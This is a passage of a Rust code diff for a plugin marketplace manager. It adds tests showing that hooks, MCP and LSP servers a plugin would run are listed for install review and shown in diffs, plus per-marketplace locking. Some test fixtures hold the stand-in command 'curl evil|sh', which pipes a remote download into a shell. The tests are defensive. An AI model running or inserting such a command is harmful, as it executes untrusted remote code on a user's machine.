Ok(components) => it.plugin_components = components,
Err(e) => it.invalid = Some(e),
}
}
Err(e) => it.invalid = Some(e),
}
@@ -1091,6 +1212,176 @@ mod tests {
assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x");
}
/// PR review #4: what a plugin brings that can run — inline in its
/// catalog entry and in its folder — is listed for the install confirm.
#[test]
fn a_plugin_lists_what_it_runs() {
let catalog = r#"{"plugins":[{"name":"p","source":"./p",
"mcpServers":{"x":{"command":"curl evil|sh"}},
"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"echo hi"}]}]}}]}"#;
let t = MemTree::new()
.file("plugins/.claude-plugin/marketplace.json", catalog)
.file(
"plugins/p/.claude-plugin/plugin.json",
r#"{"name":"p","lspServers":{"l":{"command":"lsp-bin"}}}"#,
)
.file("plugins/p/hooks/hooks.json", r#"{"hooks":{"Stop":[]}}"#)
.file(
"plugins/p/.mcp.json",
r#"{"mcpServers":{"y":{"command":"npx y"}}}"#,
)
.file("plugins/p/commands/deploy.md", "Deploy it.")
.file("plugins/p/skills/s/SKILL.md", "x");
let items = parse_catalog(&t);
let p = items.iter().find(|i| i.key == "p").unwrap();
assert_eq!(p.invalid, None);
let labels: Vec<&str> = p
.plugin_components
.iter()
.map(|c| c.label.as_str())
.collect();
assert_eq!(
labels,
vec![
"marketplace.json entry: hooks",
"marketplace.json entry: mcpServers",
".claude-plugin/plugin.json: lspServers",
"hooks/hooks.json",
".mcp.json",
"commands/",
]
);
let all: String = p
.plugin_components
.iter()
.map(|c| c.content.as_str())
.collect();
for needle in [
"curl evil|sh",
"echo hi",
"lsp-bin",
"\"Stop\"",
"npx y",
"deploy.md",
] {
assert!(all.contains(needle), "{needle} missing from {all}");
}
let plain = parse_catalog(&full_repo());
let plain = plain.iter().find(|i| i.kind == ItemKind::Plugin).unwrap();
assert!(
plain.plugin_components.is_empty(),
"{:?}",
plain.plugin_components
);
}
fn plugin_repo(entry_extra: &str, plugin_json: &str) -> MemTree {
let catalog = format!(
r#"{{"plugins":[{{"name":"p","source":"./p"{}}}]}}"#,
entry_extra
);
MemTree::new()
.file("plugins/.claude-plugin/marketplace.json", &catalog)
.file("plugins/p/.claude-plugin/plugin.json", plugin_json)
.file("plugins/p/skills/s/SKILL.md", "x")
}
fn plugin(t: &MemTree) -> CatalogItem {
parse_catalog(t).into_iter().find(|i| i.key == "p").unwrap()
}
/// Round 2 (#4): a `hooks` / `mcpServers` / `lspServers` value that is a
/// path (or a list of paths) is shown as the referenced file's contents.
#[test]
fn path_valued_plugin_components_show_the_referenced_files() {
let t = plugin_repo(
r#","hooks":"./config/entry-hooks.json""#,
r#"{"name":"p","mcpServers":["./mcp/a.json","mcp/b.json"],"lspServers":"./lsp.json"}"#,
)
.file(
"plugins/p/config/entry-hooks.json",
r#"{"hooks":{"Stop":[{"hooks":[{"type":"command","command":"entry-hook-cmd"}]}]}}"#,
)
.file("plugins/p/mcp/a.json", r#"{"a":{"command":"mcp-a-cmd"}}"#)
.file("plugins/p/mcp/b.json", r#"{"b":{"command":"mcp-b-cmd"}}"#)
.file("plugins/p/lsp.json", r#"{"l":{"command":"lsp-cmd"}}"#);
let p = plugin(&t);
assert_eq!(p.invalid, None);
let find = |label: &str| {
p.plugin_components
.iter()
.find(|c| c.label == label)
.unwrap_or_else(|| panic!("{label} missing: {:?}", p.plugin_components))
.content
.clone()
};
assert!(
find("marketplace.json entry: hooks → config/entry-hooks.json")
.contains("entry-hook-cmd")
);
assert!(find(".claude-plugin/plugin.json: mcpServers → mcp/a.json").contains("mcp-a-cmd"));
assert!(find(".claude-plugin/plugin.json: mcpServers → mcp/b.json").contains("mcp-b-cmd"));
assert!(find(".claude-plugin/plugin.json: lspServers → lsp.json").contains("lsp-cmd"));
}
#[test]
fn a_component_path_outside_the_plugin_or_missing_makes_it_invalid() {
for (value, reason) in [
(r#""../other/hooks.json""#, "outside the plugin folder"),
(r#""/etc/hooks.json""#, "outside the plugin folder"),
(r#""./nope.json""#, "not in the plugin"),
] {
let t = plugin_repo("", &format!(r#"{{"name":"p","hooks":{value}}}"#))
.file("plugins/other/hooks.json", "{}");
let p = plugin(&t);
let why = p.invalid.unwrap_or_default();
assert!(why.contains(reason), "{value}: {why}");
}
}
#[test]
fn a_plugin_lsp_json_is_listed() {
let t = plugin_repo("", r#"{"name":"p"}"#)
.file("plugins/p/.lsp.json", r#"{"go":{"command":"gopls-cmd"}}"#);
let p = plugin(&t);
let lsp = p
.plugin_components
.iter()
.find(|c| c.label == ".lsp.json")
.unwrap();
assert!(lsp.content.contains("gopls-cmd"));
}
/// Round 2 (#2): runnable manifests are shown whole (up to the 1 MiB
/// manifest cap), never cut; one that cannot be shown whole is refused.
#[test]
fn plugin_components_are_shown_whole_or_the_plugin_is_refused() {
let padded = format!(
r#"{{"pad":"{}","hooks":{{"Stop":[{{"hooks":[{{"type":"command","command":"hidden-cmd"}}]}}]}}}}"#,
"x".repeat(200 * 1024)
);
let t = plugin_repo("", r#"{"name":"p"}"#).file("plugins/p/hooks/hooks.json", &padded);
let p = plugin(&t);
assert_eq!(p.invalid, None);
let hooks = p
.plugin_components
.iter()
.find(|c| c.label == "hooks/hooks.json")
.unwrap();
assert!(hooks.content.contains("hidden-cmd"), "cut short");
assert!(!hooks.content.contains("(truncated)"));
let huge = "x".repeat(MAX_MANIFEST_BYTES as usize + 1);
let t = plugin_repo("", r#"{"name":"p"}"#).file("plugins/p/.mcp.json", &huge);
let why = plugin(&t).invalid.unwrap_or_default();
assert!(why.contains(".mcp.json is larger than 1 MiB"), "{why}");
let t = plugin_repo("", "{ not json");
let why = plugin(&t).invalid.unwrap_or_default();
assert!(why.contains("plugin.json is not valid JSON"), "{why}");
}
#[test]
fn plugin_catalog_entry_is_returned_verbatim() {
let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap();
+105 -15
View File
@@ -5,21 +5,34 @@ use std::path::Path;
use similar::TextDiff;
use super::catalog::{item_files, ItemFile};
use super::catalog::{item_files, plugin_catalog_entry, ItemFile};
use super::tree::GitTree;
use super::tree::TreeView;
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
/// Files of `kind`/`key` at `commit`, or an empty list when the item does not
/// exist (or is not installable) at that commit — a removal upstream then reads
/// as every file removed rather than as an error.
fn files_at(
repo_path: &Path,
kind: ItemKind,
key: &str,
commit: &str,
) -> Result<Vec<ItemFile>, String> {
let tree = GitTree::open(repo_path, commit)?;
Ok(item_files(&tree, kind, key).unwrap_or_default())
/// The name a plugin's catalog entry is diffed under. It is shown apart from
/// the plugin folder's files, so a file of the same name cannot hide it.
pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry";
/// Files of `kind`/`key` in `tree`, or an empty list when the item does not
/// exist (or is not installable) there — a removal upstream then reads as
/// every file removed rather than as an error.
fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec<ItemFile> {
item_files(tree, kind, key).unwrap_or_default()
}
/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a
/// reviewable file. It carries inline hooks, MCP servers and commands that
/// the install runs, so it is diffed like any file (PR review #3).
fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option<ItemFile> {
let entry = plugin_catalog_entry(tree, key).ok()?;
let mut text = serde_json::to_string_pretty(&entry).ok()?;
text.push('\n');
Some(ItemFile {
rel_path: PLUGIN_ENTRY_PATH.to_string(),
data: text.into_bytes(),
executable: false,
})
}
pub fn item_diff(
@@ -29,9 +42,33 @@ pub fn item_diff(
from_commit: &str,
to_commit: &str,
) -> Result<Vec<FileDiff>, String> {
let old = files_at(repo_path, kind, key, from_commit)?;
let new = files_at(repo_path, kind, key, to_commit)?;
Ok(diff_files(&old, &new))
let old = GitTree::open(repo_path, from_commit)?;
let new = GitTree::open(repo_path, to_commit)?;
let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key));
if kind != ItemKind::Plugin {
return Ok(diff_files(&old_files, &new_files));
}
Ok(plugin_diff(
&old_files,
plugin_entry_file(&old, key).as_ref(),
&new_files,
plugin_entry_file(&new, key).as_ref(),
))
}
/// The catalog entry's diff first, then the folder's files.
pub(crate) fn plugin_diff(
old_files: &[ItemFile],
old_entry: Option<&ItemFile>,
new_files: &[ItemFile],
new_entry: Option<&ItemFile>,
) -> Vec<FileDiff> {
let mut out = diff_files(
&old_entry.cloned().into_iter().collect::<Vec<_>>(),
&new_entry.cloned().into_iter().collect::<Vec<_>>(),
);
out.extend(diff_files(old_files, new_files));
out
}
fn as_text(data: &[u8]) -> Option<&str> {
@@ -173,6 +210,59 @@ mod tests {
.contains("executable: false -> true"));
}
/// PR review #3: a plugin's catalog entry is part of what it installs
/// (inline hooks, MCP servers, commands), so a change to it alone must
/// show up in the diff rather than as "no file changes".
#[test]
fn a_plugins_catalog_entry_change_is_in_its_diff() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"plugins/.claude-plugin/marketplace.json",
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#,
);
let c2 = fx.commit("entry gains an MCP server");
let data = tempfile::tempdir().unwrap();
let repo = git::cache_path(data.path(), "m1");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap();
assert_eq!(diffs.len(), 1, "{diffs:?}");
assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH);
assert_eq!(diffs[0].change, FileChange::Modified);
let text = diffs[0].unified.as_deref().unwrap();
assert!(text.contains("+ \"mcpServers\": {"), "{text}");
assert!(text.contains("curl evil|sh"), "{text}");
// The folder's own files are still diffed next to it.
fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n");
let c3 = fx.commit("skill");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let paths: Vec<String> = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3)
.unwrap()
.into_iter()
.map(|d| d.path)
.collect();
assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]);
}
#[test]
fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() {
let entry = |v: &str| ItemFile {
rel_path: PLUGIN_ENTRY_PATH.into(),
data: v.as_bytes().to_vec(),
executable: false,
};
let out = plugin_diff(
&[entry("same\n")],
Some(&entry("old\n")),
&[entry("same\n")],
Some(&entry("new\n")),
);
assert_eq!(out.len(), 1);
assert!(out[0].unified.as_deref().unwrap().contains("+new"));
}
#[test]
fn item_diff_reads_both_commits_from_the_cache() {
let Some(fx) = GitFixture::new() else { return };
+5 -2
View File
@@ -545,7 +545,10 @@ mod tests {
assert!(has_commit(&repo, &first));
let tree = GitTree::open(&repo, &first).unwrap();
assert_eq!(tree.read_file("agents/a.md").unwrap().unwrap(), b"one");
assert_eq!(
tree.read_file("agents/a.md", 1024).unwrap().unwrap(),
b"one"
);
let hook = tree.list_dir("hooks/h").unwrap().unwrap();
assert!(hook[0].executable);
assert!(tree.entry_id("agents/a.md").unwrap().is_some());
@@ -560,7 +563,7 @@ mod tests {
assert_eq!(
GitTree::open(&repo, &first)
.unwrap()
.read_file("agents/a.md")
.read_file("agents/a.md", 1024)
.unwrap()
.unwrap(),
b"one"
+419 -43
View File
@@ -23,7 +23,8 @@ use tauri::Emitter;
use tokio::sync::oneshot;
use crate::models::marketplace::{
effective_installs, CatalogItem, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot, SyncReport,
effective_installs, CatalogItem, ItemKind, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot,
SyncReport,
};
use crate::models::{AppSettings, Project};
use catalog::{item_fingerprint, parse_catalog};
@@ -37,9 +38,10 @@ pub struct MarketplaceManager {
snapshots: Mutex<HashMap<String, MarketplaceSnapshot>>,
reports: Mutex<HashMap<String, SyncReport>>,
gh_login_cancel: tokio::sync::Mutex<Option<oneshot::Sender<()>>>,
/// Serialises writers of the bare caches (fetch, pins, cache removal) so
/// concurrent refreshes never race on gix ref locks (pre-flight F11a).
repo_lock: tokio::sync::Mutex<()>,
/// One lock per marketplace cache, serialising its writers (fetch, pins,
/// cache removal) so they never race on gix ref locks (pre-flight F11a),
/// without one marketplace's fetch holding up another (PR review #5).
repo_locks: Mutex<HashMap<String, Arc<tokio::sync::Mutex<()>>>>,
/// One lock per project, held for a whole `sync_project`, so a start sync
/// and Apply now never run `sync.sh` in one container at once (F11b).
sync_locks: Mutex<HashMap<String, Arc<tokio::sync::Mutex<()>>>>,
@@ -62,7 +64,7 @@ impl MarketplaceManager {
snapshots: Mutex::new(HashMap::new()),
reports: Mutex::new(HashMap::new()),
gh_login_cancel: tokio::sync::Mutex::new(None),
repo_lock: tokio::sync::Mutex::new(()),
repo_locks: Mutex::new(HashMap::new()),
sync_locks: Mutex::new(HashMap::new()),
}
}
@@ -71,10 +73,16 @@ impl MarketplaceManager {
&self.data_root
}
/// Hold while writing to any marketplace cache (fetch, `git::set_pins`,
/// removing a cache).
pub fn repo_lock(&self) -> &tokio::sync::Mutex<()> {
&self.repo_lock
/// The marketplace's cache lock. Hold it while writing to that cache
/// (fetch, `git::set_pins`, removing it) and never drop it mid-fetch: a
/// blocking fetch keeps running after its future is cancelled.
pub fn repo_lock(&self, marketplace_id: &str) -> Arc<tokio::sync::Mutex<()>> {
self.repo_locks
.lock()
.unwrap()
.entry(marketplace_id.to_string())
.or_default()
.clone()
}
/// The project's sync lock; see `sync_project`.
@@ -87,6 +95,27 @@ impl MarketplaceManager {
.clone()
}
/// The in-memory snapshot's head, without copying the snapshot's items.
pub fn snapshot_head(&self, marketplace_id: &str) -> Option<String> {
self.snapshots
.lock()
.unwrap()
.get(marketplace_id)
.and_then(|s| s.head_commit.clone())
}
/// Each item's `invalid` reason in the in-memory snapshot, if that
/// snapshot is at `head` — without copying the items' previews.
fn invalid_reasons_at(
&self,
marketplace_id: &str,
head: &str,
) -> Option<HashMap<(ItemKind, String), Option<String>>> {
let snapshots = self.snapshots.lock().unwrap();
let snap = snapshots.get(marketplace_id)?;
(snap.head_commit.as_deref() == Some(head)).then(|| invalid_reasons(&snap.items))
}
pub fn snapshot(&self, marketplace_id: &str) -> Option<MarketplaceSnapshot> {
self.snapshots.lock().unwrap().get(marketplace_id).cloned()
}
@@ -188,7 +217,7 @@ impl MarketplaceManager {
/// Head commit for a marketplace: the in-memory snapshot's, else the cache's.
pub fn head_for(mgr: &MarketplaceManager, m: &Marketplace) -> Option<String> {
mgr.snapshot(&m.id).and_then(|s| s.head_commit).or_else(|| {
mgr.snapshot_head(&m.id).or_else(|| {
git::cached_head(&git::cache_path(mgr.data_root(), &m.id))
.ok()
.flatten()
@@ -240,14 +269,23 @@ fn failed_snapshot(
snap
}
/// Refresh one marketplace: resolve the credential, fetch (blocking task, under
/// the repo lock), parse the catalog at head and store the snapshot. On failure
/// the previous items and head are kept and `fetch_error` is set.
/// Refresh one marketplace: resolve the credential, fetch (blocking task),
/// parse the catalog at head and store the snapshot. On failure the previous
/// items and head are kept and `fetch_error` is set.
///
/// Everything runs under the marketplace's repo lock, and `current_settings`
/// (the settings store as it is *now*, not a copy taken before the lock) is
/// read only once the lock is held: a marketplace removed meanwhile gets no
/// cache and no snapshot (PR review #6), since its removal deletes both
/// under the same lock.
pub async fn refresh_marketplace(
mgr: &MarketplaceManager,
settings: &AppSettings,
current_settings: &(dyn Fn() -> AppSettings + Sync),
marketplace_id: &str,
) -> MarketplaceSnapshot {
let lock = mgr.repo_lock(marketplace_id);
let _repo_guard = lock.lock().await;
let settings = current_settings();
let Some(m) = settings
.marketplaces
.iter()
@@ -275,15 +313,12 @@ pub async fn refresh_marketplace(
let repo = git::cache_path(mgr.data_root(), &m.id);
let (url, branch) = (m.url.clone(), m.branch.clone());
let joined = {
let _repo_guard = mgr.repo_lock.lock().await;
tokio::task::spawn_blocking(move || {
let head = git::fetch(&repo, &url, branch.as_deref(), cred)?;
let items = parse_at(&repo, &head).map_err(git::FetchError::Other)?;
Ok::<_, git::FetchError>((head, items))
})
.await
};
let joined = tokio::task::spawn_blocking(move || {
let head = git::fetch(&repo, &url, branch.as_deref(), cred)?;
let items = parse_at(&repo, &head).map_err(git::FetchError::Other)?;
Ok::<_, git::FetchError>((head, items))
})
.await;
match joined {
Ok(Ok((head, items))) => {
@@ -306,11 +341,104 @@ pub async fn refresh_marketplace(
}
}
fn item_changed(repo: &Path, inst: &MarketplaceInstall, head: &str) -> Result<bool, String> {
let old = GitTree::open(repo, &inst.commit)?;
let new = GitTree::open(repo, head)?;
Ok(item_fingerprint(&old, inst.kind, &inst.key)?
!= item_fingerprint(&new, inst.kind, &inst.key)?)
/// Forget a marketplace's snapshot and delete its cache, under its repo lock,
/// so a refresh already under way either finishes first (and is then
/// deleted) or sees the marketplace gone and stores nothing.
pub async fn remove_marketplace_cache(mgr: &MarketplaceManager, marketplace_id: &str) {
let lock = mgr.repo_lock(marketplace_id);
let _repo_guard = lock.lock().await;
mgr.remove_snapshot(marketplace_id);
let path = git::cache_path(mgr.data_root(), marketplace_id);
let _ = tokio::task::spawn_blocking(move || {
if path.exists() {
if let Err(e) = std::fs::remove_dir_all(&path) {
log::warn!(
"Could not delete the marketplace cache {}: {}",
path.display(),
e
);
}
}
})
.await;
}
fn invalid_reasons(items: &[CatalogItem]) -> HashMap<(ItemKind, String), Option<String>> {
items
.iter()
.map(|i| ((i.kind, i.key.clone()), i.invalid.clone()))
.collect()
}
/// One marketplace's side of an update check: its head, read once, and its
/// cache, opened once, with trees shared across installs (PR review #10).
struct UpdateCheck {
head: String,
repo: Option<gix::Repository>,
trees: HashMap<String, Result<GitTree, String>>,
/// Catalog `invalid` per item at head, read once when first needed.
invalid_at_head: Option<HashMap<(ItemKind, String), Option<String>>>,
}
impl UpdateCheck {
fn new(mgr: &MarketplaceManager, m: &Marketplace) -> Option<Self> {
let head = head_for(mgr, m)?;
Some(Self {
head,
repo: None,
trees: HashMap::new(),
invalid_at_head: None,
})
}
/// Why `inst`'s item cannot be installed at head — the rule
/// `update_marketplace_item` applies (round 2) — from the snapshot when
/// it is at head, else from the catalog parsed at head.
fn invalid_reason(
&mut self,
mgr: &MarketplaceManager,
m: &Marketplace,
inst: &MarketplaceInstall,
) -> Option<String> {
if self.invalid_at_head.is_none() {
let head = self.head.clone();
let reasons = match mgr.invalid_reasons_at(&m.id, &head) {
Some(r) => r,
None => match self.tree(&git::cache_path(mgr.data_root(), &m.id), &head) {
Ok(tree) => invalid_reasons(&parse_catalog(tree)),
Err(e) => return Some(e),
},
};
self.invalid_at_head = Some(reasons);
}
match self
.invalid_at_head
.as_ref()
.and_then(|r| r.get(&(inst.kind, inst.key.clone())))
{
Some(reason) => reason.clone(),
None => Some(format!("\"{}\" is no longer in \"{}\".", inst.key, m.name)),
}
}
fn tree(&mut self, repo_path: &Path, commit: &str) -> Result<&GitTree, String> {
if !self.trees.contains_key(commit) {
if self.repo.is_none() {
self.repo = Some(tree::open_repo(repo_path)?);
}
let repo = self.repo.clone().expect("opened above");
self.trees
.insert(commit.to_string(), GitTree::at(repo, commit));
}
self.trees[commit].as_ref().map_err(Clone::clone)
}
fn changed(&mut self, repo_path: &Path, inst: &MarketplaceInstall) -> Result<bool, String> {
let head = self.head.clone();
let new = item_fingerprint(self.tree(repo_path, &head)?, inst.kind, &inst.key)?;
let old = item_fingerprint(self.tree(repo_path, &inst.commit)?, inst.kind, &inst.key)?;
Ok(old != new)
}
}
/// Every install (global + all projects) whose item fingerprint at head
@@ -321,6 +449,7 @@ pub fn compute_updates(
projects: &[Project],
) -> Vec<ItemUpdate> {
let mut seen = BTreeSet::new();
let mut checks: HashMap<String, Option<UpdateCheck>> = HashMap::new();
let mut out = Vec::new();
let all = settings
.global_marketplace_installs
@@ -337,18 +466,22 @@ pub fn compute_updates(
else {
continue;
};
let Some(head) = head_for(mgr, m) else {
let Some(check) = checks
.entry(m.id.clone())
.or_insert_with(|| UpdateCheck::new(mgr, m))
else {
continue;
};
if head == inst.commit {
if check.head == inst.commit {
continue;
}
let repo = git::cache_path(mgr.data_root(), &m.id);
match item_changed(&repo, inst, &head) {
match check.changed(&repo, inst) {
Ok(true) => out.push(ItemUpdate {
item: inst.item_ref(),
pinned: inst.commit.clone(),
head,
head: check.head.clone(),
invalid_at_head: check.invalid_reason(mgr, m, inst),
}),
Ok(false) => {}
Err(e) => log::debug!("Update check skipped for {}: {}", inst.key, e),
@@ -444,6 +577,43 @@ pub fn spawn_project_sync(
});
}
/// Make each cache's pin refs exactly the commits installs reference, so a
/// pinned version can never be garbage-collected away — for every configured
/// marketplace, or only `only`. Each marketplace's pins are set under its own
/// repo lock (pre-flight F11, PR review #5): a fetch writes refs there too.
pub async fn set_pins(
mgr: &MarketplaceManager,
settings: &AppSettings,
projects: &[Project],
only: Option<&str>,
) {
let pins = pins_by_marketplace(settings, projects);
for m in settings
.marketplaces
.iter()
.filter(|m| only.is_none_or(|id| id == m.id))
{
let lock = mgr.repo_lock(&m.id);
let _repo_guard = lock.lock().await;
let repo = git::cache_path(mgr.data_root(), &m.id);
let commits = pins.get(&m.id).cloned().unwrap_or_default();
let id = m.id.clone();
let _ = tokio::task::spawn_blocking(move || {
if !repo.exists() {
return;
}
if let Err(e) = git::set_pins(&repo, &commits) {
log::warn!(
"Could not update the pinned commits of marketplace {}: {}",
id,
e
);
}
})
.await;
}
}
/// All commits referenced by installs, per marketplace (for `git::set_pins`).
pub fn pins_by_marketplace(
settings: &AppSettings,
@@ -498,7 +668,7 @@ mod tests {
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let snap = refresh_marketplace(&mgr, &settings_with(&fx.url()), "m1").await;
let snap = refresh_marketplace(&mgr, &|| settings_with(&fx.url()), "m1").await;
assert_eq!(snap.fetch_error, None);
assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str()));
@@ -530,11 +700,11 @@ mod tests {
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let settings = settings_with(&url);
let first = refresh_marketplace(&mgr, &settings, "m1").await;
let first = refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
assert_eq!(first.fetch_error, None);
drop(fx); // the source repository disappears (offline, deleted, …)
let second = refresh_marketplace(&mgr, &settings, "m1").await;
let second = refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
assert!(second.fetch_error.is_some(), "expected a fetch error");
assert_eq!(second.head_commit.as_deref(), Some(c1.as_str()));
@@ -550,10 +720,11 @@ mod tests {
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let settings = settings_with(&fx.url());
let guard = mgr.repo_lock().lock().await;
let lock = mgr.repo_lock("m1");
let guard = lock.lock().await;
let blocked = tokio::time::timeout(
std::time::Duration::from_millis(300),
refresh_marketplace(&mgr, &settings, "m1"),
refresh_marketplace(&mgr, &|| settings.clone(), "m1"),
)
.await;
assert!(blocked.is_err(), "refresh must not fetch while the repo lock is held");
@@ -563,10 +734,102 @@ mod tests {
);
drop(guard);
let snap = refresh_marketplace(&mgr, &settings, "m1").await;
let snap = refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str()));
}
#[test]
fn repo_locks_are_per_marketplace() {
let mgr = MarketplaceManager::new(std::env::temp_dir());
let a1 = mgr.repo_lock("a");
let a2 = mgr.repo_lock("a");
let b = mgr.repo_lock("b");
assert!(Arc::ptr_eq(&a1, &a2), "one lock per marketplace");
assert!(!Arc::ptr_eq(&a1, &b), "marketplaces do not block each other");
}
/// PR review #5: a long fetch of one marketplace must not hold up work
/// (another refresh, pins, installs) on a different one.
#[tokio::test]
async fn a_busy_marketplace_does_not_block_another() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let settings = settings_with(&fx.url());
let other = mgr.repo_lock("some-other-marketplace");
let _busy = other.lock().await;
let snap = tokio::time::timeout(
std::time::Duration::from_secs(20),
refresh_marketplace(&mgr, &|| settings.clone(), "m1"),
)
.await
.expect("m1 must not wait for another marketplace's lock");
assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str()));
}
/// PR review #6: a refresh that was already under way when the
/// marketplace was removed must not recreate its cache or snapshot.
#[tokio::test]
async fn a_refresh_of_a_removed_marketplace_leaves_nothing_behind() {
let Some(fx) = GitFixture::new() else { return };
fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let current = Mutex::new(settings_with(&fx.url()));
let read_current = || current.lock().unwrap().clone();
let lock = mgr.repo_lock("m1");
let guard = lock.lock().await;
let refresh = refresh_marketplace(&mgr, &read_current, "m1");
tokio::pin!(refresh);
// The refresh starts, then waits for the lock…
assert!(
tokio::time::timeout(std::time::Duration::from_millis(100), &mut refresh)
.await
.is_err()
);
// …while the marketplace is removed from settings.
current.lock().unwrap().marketplaces.clear();
drop(guard);
let snap = refresh.await;
assert!(
snap.fetch_error.as_deref().unwrap_or("").contains("no longer configured"),
"{snap:?}"
);
assert!(!git::cache_path(data.path(), "m1").exists(), "cache recreated");
assert_eq!(mgr.snapshot("m1"), None, "snapshot stored");
}
#[tokio::test]
async fn removing_a_cache_waits_for_the_marketplaces_lock() {
let Some(fx) = GitFixture::new() else { return };
fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let settings = settings_with(&fx.url());
refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
let cache = git::cache_path(data.path(), "m1");
assert!(cache.exists());
let lock = mgr.repo_lock("m1");
let guard = lock.lock().await;
let blocked = tokio::time::timeout(
std::time::Duration::from_millis(200),
remove_marketplace_cache(&mgr, "m1"),
)
.await;
assert!(blocked.is_err(), "removal must wait for an in-flight fetch");
assert!(cache.exists());
drop(guard);
remove_marketplace_cache(&mgr, "m1").await;
assert!(!cache.exists());
assert_eq!(mgr.snapshot("m1"), None);
}
#[tokio::test]
async fn concurrent_refreshes_all_succeed() {
let Some(fx) = GitFixture::new() else { return };
@@ -575,10 +838,11 @@ mod tests {
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let settings = settings_with(&fx.url());
let current = || settings.clone();
let (a, b, c) = tokio::join!(
refresh_marketplace(&mgr, &settings, "m1"),
refresh_marketplace(&mgr, &settings, "m1"),
refresh_marketplace(&mgr, &settings, "m1"),
refresh_marketplace(&mgr, &current, "m1"),
refresh_marketplace(&mgr, &current, "m1"),
refresh_marketplace(&mgr, &current, "m1"),
);
for snap in [a, b, c] {
assert_eq!(snap.fetch_error, None);
@@ -594,7 +858,7 @@ mod tests {
let settings = settings_with(&fx.url());
{
let mgr = MarketplaceManager::new(data.path().to_path_buf());
refresh_marketplace(&mgr, &settings, "m1").await;
refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
}
drop(fx);
let mgr = MarketplaceManager::new(data.path().to_path_buf());
@@ -622,7 +886,7 @@ mod tests {
];
let mut project = crate::models::Project::new("p".into(), vec![]);
project.marketplace_installs = vec![install(ItemKind::Skill, "example-skill", &c1)];
refresh_marketplace(&mgr, &settings, "m1").await;
refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
let updates = compute_updates(&mgr, &settings, &[project]);
@@ -632,6 +896,118 @@ mod tests {
assert_eq!(updates[0].head, c2);
}
/// PR review #10: one repo open and one head read per marketplace,
/// however many installs (and pinned commits) point into it.
#[tokio::test]
async fn update_check_opens_each_repo_once() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"agents/code-reviewer.md",
"---\nname: code-reviewer\ndescription: Reviews code\n---\nReview harder.\n",
);
let c2 = fx.commit("tweak agent");
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let mut settings = settings_with(&fx.url());
settings.global_marketplace_installs = vec![
install(ItemKind::Agent, "code-reviewer", &c1),
install(ItemKind::Hook, "notify-on-stop", &c1),
];
let mut a = crate::models::Project::new("a".into(), vec![]);
a.marketplace_installs = vec![install(ItemKind::Skill, "example-skill", &c1)];
let mut b = crate::models::Project::new("b".into(), vec![]);
b.marketplace_installs = vec![install(ItemKind::Agent, "code-reviewer", &c2)];
refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
let before = tree::repo_opens();
let updates = compute_updates(&mgr, &settings, &[a, b]);
assert_eq!(tree::repo_opens() - before, 1, "one open for the whole check");
assert_eq!(updates.len(), 1, "{updates:?}");
assert_eq!(updates[0].item.key, "code-reviewer");
assert_eq!(updates[0].pinned, c1);
assert_eq!(updates[0].head, c2);
}
/// Re-review round 2: an update to a head where the item is not
/// installable is listed with the reason, since update_marketplace_item
/// would always refuse it.
#[tokio::test]
async fn an_update_to_an_invalid_version_carries_the_reason() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"hooks/notify-on-stop/hook.json",
r#"{"hooks":{"PreFoo":[{"hooks":[{"type":"command","command":"x"}]}]}}"#,
);
fx.write(
"agents/code-reviewer.md",
"---\nname: code-reviewer\ndescription: Reviews code\n---\nReview harder.\n",
);
std::fs::remove_file(fx.dir.path().join("commands/example-command.md")).unwrap();
let c2 = fx.commit("break the hook, tweak the agent, drop the command");
let data = tempfile::tempdir().unwrap();
let mut settings = settings_with(&fx.url());
settings.global_marketplace_installs = vec![
install(ItemKind::Hook, "notify-on-stop", &c1),
install(ItemKind::Agent, "code-reviewer", &c1),
install(ItemKind::Command, "example-command", &c1),
];
{
